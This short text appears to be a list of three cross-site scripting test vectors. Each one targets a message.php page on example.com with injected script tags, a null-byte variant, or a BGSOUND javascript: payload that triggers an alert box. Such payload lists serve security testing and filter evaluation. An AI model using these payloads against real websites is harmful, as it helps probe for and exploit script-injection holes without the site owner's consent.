1st vector)
https://www.example.com/message.php?<script><script>alert('xss')</script></script>

2nd vector)
https://www.example.com/message.php?aa%00<script><script>alert('xss')</script></script>

3rd vector)
https://www.example.com/message.php?aa<BGSOUND SRC="javascript:alert('XSS');">